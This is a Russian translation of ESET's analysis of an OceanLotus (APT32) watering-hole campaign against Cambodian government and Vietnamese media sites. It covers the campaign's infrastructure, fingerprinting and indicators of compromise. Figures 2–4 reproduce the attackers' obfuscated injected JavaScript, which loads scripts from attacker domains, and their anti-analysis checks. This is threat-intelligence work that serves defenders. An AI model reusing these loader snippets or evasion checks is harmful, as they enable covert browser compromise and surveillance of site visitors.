Исследователи ESET обнаружили новую кампанию типа «watering hole», нацеленную на несколько веб-сайтов в Юго-Восточной Азии, которая, как полагают, была активна с сентября 2018 года. Эта кампания выделяется своим масштабом, так как нам удалось выявить 21 скомпрометированный веб-сайт, некоторые из которых особенно заметны. Среди скомпрометированных веб-сайтов были Министерство обороны Камбоджи, Министерство иностранных дел и международного сотрудничества Камбоджи, а также несколько вьетнамских газетных или блог-сайтов.
После тщательного анализа мы уверены, что эта кампания проводится группой OceanLotus [1], также известной как APT32 [2] и APT-C-00. OceanLotus — это группа шпионажа, активная как минимум с 2012 года [3], в основном интересующаяся иностранными правительствами и диссидентами.
Считается, что эта кампания является развитием того, что исследователи Volexity назвали OceanLotus Framework B, схемы «watering hole», которую они документировали в 2017 году [4]. Однако злоумышленники повысили свой уровень, чтобы усложнить и замедлить анализ их вредоносного фреймворка. Среди различных улучшений они начали использовать криптографию с открытым ключом для обмена ключом сеанса AES, используемым для шифрования дальнейших коммуникаций, тем самым предотвращая перехват конечной полезной нагрузки продуктами безопасности. Они также перешли с HTTP на WebSocket, чтобы скрыть свои вредоносные коммуникации.
Исследователи ESET выявили 21 различный скомпрометированный веб-сайт, каждый из которых перенаправлял на отдельный домен, контролируемый злоумышленниками.
На рисунке 1 показан регион, на который нацелена эта кампания.
Большинство скомпрометированных доменов связаны со СМИ или правительством Камбоджи. В следующей таблице подробно описаны различные жертвы. Мы уведомили их всех в октябре, но большинство по-прежнему подвергаются инъекциям вредоносных скриптов на момент написания, через два месяца после первого компромисса. Поэтому мы настоятельно рекомендуем вам не посещать эти веб-сайты.
| Скомпрометированный домен | Описание |
|---|---|
| baotgm[.]net | СМИ на вьетнамском языке (базируется в Арлингтоне, Техас) |
| cnrp7[.]org | Национальная партия спасения Камбоджи |
| conggiaovietnam[.]net | Связано с религией – на вьетнамском языке |
| daichungvienvinhthanh[.]com | Связано с религией – на вьетнамском языке |
| danchimviet[.]info | СМИ на вьетнамском языке |
| danviet[.]vn | СМИ на вьетнамском языке |
| danviethouston[.]com | СМИ на вьетнамском языке |
| fvpoc[.]org | Бывшие политзаключенные Вьетнама |
| gardencityclub[.]com | Гольф-клуб в Пномпене, Королевство Камбоджа |
| lienketqnhn[.]org | СМИ на вьетнамском языке |
| mfaic.gov[.]kh | Министерство иностранных дел и международного сотрудничества Камбоджи |
| mod.gov[.]kh | Министерство обороны Камбоджи |
| mtgvinh[.]net | Связано с религией – на вьетнамском языке |
| nguoitieudung.com[.]vn | СМИ на вьетнамском языке |
| phnompenhpost[.]com | Камбоджийская газета на английском языке |
| raovatcalitoday[.]com | Неизвестно – на вьетнамском языке |
| thongtinchongphandong[.]com | Оппозиционные СМИ на вьетнамском языке |
| tinkhongle[.]com | СМИ на вьетнамском языке |
| toithichdoc.blogspot[.]com | Блог на вьетнамском языке |
| trieudaiviet[.]com | Неизвестно – на вьетнамском языке |
| triviet[.]news | СМИ на вьетнамском языке |
Таблица 1 — Описание скомпрометированных веб-сайтов
Обычно при атаке типа «watering hole» злоумышленники компрометируют веб-сайты, которые регулярно посещают потенциальные жертвы. Однако в этой атаке OceanLotus также удалось скомпрометировать некоторые веб-сайты, которые в целом привлекают большое количество посетителей, а не только их предполагаемые цели. В следующей таблице показан рейтинг Alexa на момент написания (чем ниже рейтинг, тем больше посещаемость) скомпрометированных веб-сайтов. Например, они скомпрометировали веб-сайт газеты Dan Viet (danviet[.]vn), который является 116-м наиболее посещаемым веб-сайтом во Вьетнаме.
| Домен | Глобальный рейтинг Alexa | Рейтинг Alexa (в самой популярной стране) |
|---|---|---|
| danviet[.]vn | 12 887 | 116 |
| phnompenhpost[.]com | 85 910 | 18 880 |
| nguoitieudung.com[.]vn | 261 801 | 2 397 |
| danchimviet[.]info | 287 852 | 144 884 |
| baotgm[.]net | 675 669 | 119 737 |
| toithichdoc.blogspot[.]com | 700 470 | 11 532 |
| mfaic.gov[.]kh | 978 165 | 2 149 |
| conggiaovietnam[.]net | 1 040 548 | 15 368 |
| thongtinchongphandong[.]com | 1 134 691 | 21 575 |
| tinkhongle[.]com | 1 301 722 | 15 224 |
| daichungvienvinhthanh[.]com | 1 778 418 | 23 428 |
| triviet[.]news | 2 767 289 | Недоступно |
| mod.gov[.]kh | 4 247 649 | 3 719 |
| raovatcalitoday[.]com | 8 180 358 | Недоступно |
| cnrp7[.]org | 8 411 693 | Недоступно |
| mtgvinh[.]net | 8 415 468 | Недоступно |
| danviethouston[.]com | 8 777 564 | Недоступно |
| lienketqnhn[.]org | 16 109 635 | Недоступно |
| gardencityclub[.]com | 16 109 635 | Недоступно |
| trieudaiviet[.]com | 16 969 048 | Недоступно |
| fvpoc[.]org | Недоступно | Недоступно |
Таблица 2 — Рейтинг Alexa скомпрометированных веб-сайтов
Анализ
Способ действия одинаков на всех скомпрометированных веб-сайтах. Злоумышленники добавляют небольшой фрагмент JavaScript-кода либо на индексную страницу, либо в JavaScript-файл, размещенный на том же сервере. Фрагмент кода на рисунке 2, слегка обфусцированный, затем загружает другой скрипт с сервера, контролируемого злоумышленниками. Следующий код, добавленный в https://www.mfaic.gov[.]kh/wp-content/themes/ministry-of-foreign-affair/slick/slick.min.js, загрузит файл с https://weblink.selfip[.]info/images/cdn.js?from=maxcdn.
(function() { var pt = "http"; var l = document.createElement('script'); l.src = pt + "s://" + arguments[0] + arguments[2] + arguments[3] + 'ip.' + 'info/images/cdn.js?from=maxcdn'; document.getElementsByTagName('body')[0].appendChild(l) })('web', 'a', 'link', '.self');
Рисунок 2 – Фрагмент JavaScript-кода, добавленный на mfaic.gov[.]kh
Чтобы избежать обнаружения, они принимают следующие меры:
- Они обфусцируют скрипты, чтобы предотвратить статическое извлечение конечного URL.
- URL выглядит как настоящая библиотека JavaScript, используемая веб-сайтом.
- Они используют один уникальный домен и URI для каждого скомпрометированного веб-сайта.
- Скрипт отличается для каждого скомпрометированного веб-сайта. Следующий фрагмент кода — это скрипт, вставленный в другой скомпрометированный веб-сайт:
var script = document.createElement("script"); var i = 'crash-course'; var s = "fzgbc knowsztall znfo"; var _ = '/'; var e = "VisitorIdentification.js?sa=" + i; script.async = true; script.src = "htt" + "ps:" + _ + _ + s.split(" ").map(x => x.replace("z", "i")).join(".") + _ + e; var doc = document.getElementsByTagName('script')[0]; doc.parentNode.insertBefore(script, doc);
Рисунок 3 — Другой фрагмент JavaScript, вставленный на целевой веб-сайт
Первый этап
В зависимости от местоположения IP-адреса посетителя, сервер первого этапа, например weblink.selfip[.]info для mfaic.gov[.]kh, доставляет либо поддельный скрипт (случайную легитимную библиотеку JavaScript), либо скрипт первого этапа (SHA-1: 2194271C7991D60AE82436129D7F25C0A689050A, например). Не все серверы имеют проверку местоположения, но когда она включена, вредоносный скрипт получают только посетители из Вьетнама и Камбоджи.
Скрипт первого этапа содержит несколько проверок для уклонения от обнаружения, как показано на рисунке 4.
[…] function t(n) { var r = this; !function (t, n) { if (!(t instanceof n)) throw new TypeError('Cannot call a class as a function'); }(this, t), this.t = { o: null, s: !0 }, this.scr = !0, this.r(), this.i = !0, window.addEventListener('scroll', function () { r.i || r.scr && !r.t.s && (r.scr = !1, r.c(n)), r.i = !1; }); } return t.prototype.r = function () { var t = this; setInterval(function () { var n = window.outerWidth - window.innerWidth > 160, r = window.outerHeight - window.innerHeight > 160, e = n ? 'vertical' : 'horizontal'; r && n || !(window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized || n || r) ? (t.t.s = !1, t.t.o = null) : (t.t.s = !0, t.t.o = e); }, 500); } […]
Рисунок 4 — Полезная нагрузка JavaScript первого этапа
Скрипт будет ждать, пока жертва прокрутит страницу. Он также проверяет разрешение окна и включен ли Firebug, расширение браузера, используемое для анализа веб-страниц. Если любая из проверок не проходит, он прекращает выполнение.
Затем он расшифровывает домен командного и управляющего центра (C&C) с помощью пользовательского алгоритма. Например, 3B37371M1B1B382R332V1A382W36392W2T362T1A322T38 будет расшифрован в wss://tcog.thruhere[.]net. Для каждого домена первого этапа злоумышленники также регистрируют отдельный домен второго этапа, каждый из которых размещен на отдельном сервере. Код на рисунке 5 является эквивалентом функции расшифровки на Python.
def decrypt(encrypted_url): s = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" return "".join(chr(s.index(encrypted_url[e]) * 36 + s.index(encrypted_url[e+1])) for e in range(0,len(encrypted_url),2))
Рисунок 5 — Код Python для расшифровки серверов C&C
Как только адрес C&C расшифрован, скрипт отправляет уникальную строку из 15 цифр, затем получает и выполняет скрипт второго этапа. Все коммуникации осуществляются через WebSocket поверх SSL. Этот протокол обеспечивает полнодуплексную связь между клиентом и сервером. Это означает, что как только клиент устанавливает соединение, сервер может отправлять данные клиенту, даже если клиент не отправил запрос. Однако в данном конкретном случае основной целью использования веб-сокетов является уклонение от обнаружения.
Второй этап
Скрипт второго этапа на самом деле является скриптом разведки. Разработчики OceanLotus повторно использовали библиотеку Valve fingerprintjs2, доступную на GitHub, слегка модифицировав ее, чтобы добавить сетевое взаимодействие и пользовательский отчет.
На рисунке 6 описаны различные действия, выполняемые скриптом. Все коммуникации проходят через сеанс WebSocket, установленный первым этапом.
Связь шифруется с использованием ключа сеанса AES, сгенерированного сервером. Он шифруется с помощью 1024-битного открытого ключа RSA и отправляется клиенту. Таким образом, невозможно расшифровать связь между клиентом и сервером.
По сравнению с предыдущими итерациями их фреймворка «watering hole», это сделает его намного более трудным для защитников, поскольку данные, передаваемые по сети, не могут быть обнаружены и расшифрованы. Это предотвратит сетевое обнаружение данных. Открытый ключ, отправляемый сервером, всегда один и тот же и доступен в разделе IoCs.
Этот скрипт разведки создает отчет, аналогичный показанному ниже, и отправляет его на сервер C&C второго этапа.
{ "history": { "client_title": "Ministry%20of%20Foreign%20Affairs%20and%20International%20Cooperation%20-", "client_url": "https://www.mfaic.gov.kh/", "client_cookie": "", "client_hash": "", "client_referrer": "https://www.mfaic.gov.kh/foreign-ngos", "client_platform_ua": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36", "client_time": "2018-10-21T12:43:25.254Z", "timezone": "Asia/Bangkok", "client_network_ip_list": [ "192.168.x.x", "x.x.x.x" ], "client_api": "wss://tcog.thruhere.net/", "client_zuuid": "defaultcommunications39e10c84a0546508c58d48ae56ab7c7eca768183e640a1ebbb0cceaef0bd07cedefaultcommunications9360af458bb80c43fd1f73190b80dbfb0b276c48a8a6d453444dae086bc77be7", "client_uuid": "a612cdb028e1571dcab18e4aa316da26" }, "navigator": { "plugins": { "activex": false, "cors": true, "flash": false, "java": false, "foxit": true, "phonegap": false, "quicktime": false, "realplayer": false, "silverlight": false, "touch": false, "vbscript": false, "vlc": false, "webrtc": true, "wmp": false }, "_screen": { "width": 1920, "height": 1080, "availWidth": 1920, "availHeight": 1080, "resolution": "1920x1080" }, "_plugins": [ [...]
Рисунок 7 — Отчет об отпечатках пальцев
Этот отчет почти идентичен отчету, сгенерированному из OceanLotus Framework B, задокументированному исследователями Volexity в 2017 году. Различные разделы похожи, и они включают идентичные опечатки. Благодаря этим сходствам и местоположению целей мы очень уверены, что OceanLotus проводит эту кампанию.
Сгенерированный отчет содержит подробную информацию о браузере жертвы и посещенном веб-сайте: user-agent, HTTP Referer, локальный и внешний IP-адрес, плагины браузера, настроенные языковые предпочтения браузера.
Кроме того, есть два уникальных идентификатора на машину, называемых client_zuuid и client_uuid. Они, вероятно, используются для идентификации пользователей и отслеживания их между посещениями. Эти идентификаторы фактически присутствовали в версии фреймворка 2017 года, и client_uuid вычислялся аналогичным образом.
client_zuuid — это конкатенация различных значений deviceId, содержащихся в navigator.mediaDevices.enumerateDevices. Устройства — это внешние устройства, доступные браузеру, такие как камеры или микрофоны. Таким образом, это значение должно быть одинаковым для данного пользователя во время его различных посещений с одного и того же компьютера.
client_uuid — это MD5-хеш некоторой информации об отпечатках пальцев, извлеченной fingerprintjs2. Среди собранной информации — user-agent браузера, язык, часовой пояс, плагины браузера, доступные шрифты в браузере. Опять же, это значение должно быть идентичным при разных посещениях, если, например, пользователь обновляет браузер или использует другое устройство.
Наконец, сервер может отправлять дополнительный JavaScript-код на скомпрометированный компьютер, вероятно, фактическую полезную нагрузку. К сожалению, из-за использования ключа сеанса AES для шифрования коммуникаций мы не смогли выявить примеры полезных нагрузок, отправленных злоумышленниками в реальных условиях. Кроме того, полезные нагрузки доставляются только конкретным целям. Таким образом, получить их с помощью тестовой машины не удалось. Однако, согласно предыдущим отчетам, эти кампании OceanLotus типа «watering hole» направлены на фишинг своих жертв. Например, Volexity сообщила, что пользователям отображалось всплывающее окно с просьбой одобрить доступ OAuth к учетной записи Google жертвы для приложения OceanLotus Google. Используя этот метод, злоумышленники могут получить доступ к контактам и электронной почте жертвы.
Сетевая инфраструктура
Чтобы быть максимально незаметными, операторы OceanLotus регистрировали один домен первого этапа и один домен второго этапа для каждого скомпрометированного веб-сайта. Каждый домен размещался на отдельном сервере с отдельным IP-адресом. Они зарегистрировали как минимум 50 доменов и 50 серверов для этой кампании.
В то время как большинство доменов первого этапа были зарегистрированы на бесплатных сервисах доменных имен, большинство доменов второго этапа — это платные доменные имена. Они также имитируют подлинные веб-сайты, чтобы казаться легитимными. Таблица 3 показывает некоторые сервисы, имитируемые злоумышленниками.
| Домен C&C | Легитимный домен |
|---|---|
| cdn-ampproject[.]com | cdn.ampproject.com |
| bootstraplink [.]com | getbootstrap.com |
| sskimresources[.]com | s.skimresources.com |
| widgets-wp[.]com | widgets.wp.com |
Таблица 3 — Легитимные веб-сайты, имитируемые злоумышленниками
Количество используемых доменов и их сходство с легитимными веб-сайтами, вероятно, затрудняет их обнаружение человеческим глазом при просмотре сетевого трафика.
Заключение
Несмотря на активное отслеживание многими исследователями, группа OceanLotus по-прежнему активно атакует цели в Юго-Восточной Азии. Они также регулярно улучшают свой набор инструментов, включая свой фреймворк «watering hole» и вредоносное ПО для Windows и MacOS. Недавние обновления их фреймворка «watering hole», освещенные в этом блоге, демонстрируют уровень сложности, невиданный ранее для OceanLotus. Это еще одно напоминание о том, что за этой APT-группой следует внимательно следить.
Чтобы ограничить количество жертв, мы уведомили владельцев каждого скомпрометированного веб-сайта и объяснили, как удалить вредоносный JavaScript-код, хотя некоторые, похоже, очень сопротивляются информированию или помощи.
Исследователи ESET продолжат отслеживать любые разработки инструментария OceanLotus. Индикаторы компрометации также можно найти на GitHub. По любым вопросам или для отправки образцов, связанных с этой темой, свяжитесь с нами по адресу threatintel@eset.com
Ссылки
[1] ESET Research, «OceanLotus: Old techniques, new backdoor,» 03 2018. [Online]. Available: https://web-assets.esetstatic.com/wls/2018/03/ESET_OceanLotus.pdf.
[2] N. Carr, «Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations,» FireEye, 14 05 2017. [Online]. Available: https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html.
[3] Sky Eye Lab, «OceanLotus APT Report Summary,» 29 05 2015. [Online]. Available: http://blogs.360.cn/post/oceanlotus-apt.html.
[4] S. K. S. A. Dave Lassalle, «OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society,» Volexity, 06 11 2017. [Online]. Available: https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/.
Индикаторы компрометации (IoCs)
Файлы
| Описание | SHA-1 | SHA-256 | Имя обнаружения |
|---|---|---|---|
| Скрипт первого этапа | 2194271C7991D60AE82436129D7F25C0A689050A | 1EDA0DE280713470878C399D3FB6C331BA0FADD0BD9802ED98AE06218A17F3F7 | JS/Agent.NYQ |
| Скрипт второго этапа | 996D0AC930D2CDB16EF96EDC27D9D1AFC2D89CA8 | 8B824BE52DE7A8723124BAD5A45664C574D6E905F300C35719F1E6988887BD62 | JS/Agent.NYR |
Сетевые IoCs
| Скомпрометированный веб-сайт | 1-й этап | IP-адрес | 2-й этап | IP-адрес |
|---|---|---|---|---|
| baotgm[.]net | arabica.podzone[.]net | 178.128.103.24 | 10cm.mypets[.]ws | 178.128.100.189 |
| cnrp7[.]org | utagscript[.]com | 206.189.88.50 | optnmstri[.]com | 159.65.134.146 |
| conggiaovietnam[.]net | lcontacts.servebbs[.]net | 178.128.219.207 | imgincapsula[.]com | 209.97.164.158 |
| daichungvienvinhthanh[.]com | sskimresources[.]com | 178.128.90.102 | secure-imrworldwide[.]com | 178.128.90.109 |
| danchimviet[.]info | wfpscripts.homeunix[.]com | 178.128.223.102 | cdn-ampproject[.]com | 178.128.24.201 |
| danviet[.]vn | cdnscr.thruhere[.]net | 178.128.98.139 | io.blogsite[.]org | 178.128.98.89 |
| danviethouston[.]com | your-ip.getmyip[.]com | 178.128.103.74 | [Unknown] | [Unknown] |
| fvpoc[.]org | gui.dnsdojo[.]net | 178.128.28.93 | cdnazure[.]com | 209.97.164.96 |
| gardencityclub[.]com | figbc.knowsitall[.]info | 178.128.103.207 | ichefbcci.is-a-chef[.]com | 206.189.85.162 |
| lienketqnhn[.]org | tips-renew.webhop[.]info | 159.65.7.45 | cyhire.cechire[.]com | 178.128.103.79 |
| mfaic.gov[.]kh | weblink.selfip[.]info | 178.128.103.202 | tcog.thruhere[.]net | 178.128.107.83 |
| mfaic.gov[.]kh | s0-2mdn[.]net | 104.248.144.178 | p-typekit[.]com | 104.248.144.136 |
| mod.gov[.]kh | static.tagscdn[.]com | 206.189.95.214 | pagefairjs[.]com | 159.65.137.109 |
| mtgvinh[.]net | metacachecdn[.]com | 178.128.209.153 | bootstraplink[.]com | 159.65.129.241 |
| nguoitieudung.com[.]vn | s-adroll[.]com | 128.199.159.127 | player-cnevids[.]com | 128.199.159.60 |
| phnompenhpost[.]com | tiwimg[.]com | 206.189.89.121 | tiqqcdn[.]com | 206.189.47.116 |
| raovatcalitoday[.]com | widgets-wp[.]com | 178.128.90.107 | cdn-tynt[.]com | 142.93.75.192 |
| thongtinchongphandong[.]com | lb-web-stat[.]com | 159.65.128.57 | benchtag2[.]com | 178.128.90.108 |
| tinkhongle[.]com | cdn1.shacknet[.]us | 142.93.127.120 | scdn-cxense[.]com | 142.93.75.161 |
| toithichdoc.blogspot[.]com | assets-cdn.blogdns[.]net | 178.128.28.89 | cart.gotdns[.]com | 206.189.145.242 |
| trieudaiviet[.]com | html5.endofinternet[.]net | 178.128.90.182 | effecto-azureedge[.]net | 142.93.71.92 |
| triviet[.]news | ds-aksb-a.likescandy[.]com | 159.65.137.144 | labs-apnic[.]net | 178.128.90.138 |
| [Unknown] | pixel1.dnsalias[.]net | 142.93.116.157 | ad-appier[.]com | 178.128.90.66 |
| [Unknown] | trc.webhop[.]net | 178.128.90.223 | static-addtoany[.]com | 142.93.75.172 |
| [Unknown] | nav.neat-url[.]com | 178.128.103.205 | straits-times.is-an-actor[.]com | 178.128.107.24 |
RSA Public Key, отправленный сервером
——BEGIN PUBLIC KEY——
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDI8O2kXpKec4MBVeF2g86GtT2X
/ABJB2M+urEvxJStRuL/+u/a9oJ6XL4JTFceYqJiSsXvwD/wDfgI00zCdmJ7xgw+
rpGyuSntLH2Ox5oVxTTUQB791WJByDjtKXYBHpIBrmePG1EcnTlfBhgHhpAeZEao
hEXZ94it73j02h+JtQIDAQAB
——END PUBLIC KEY——

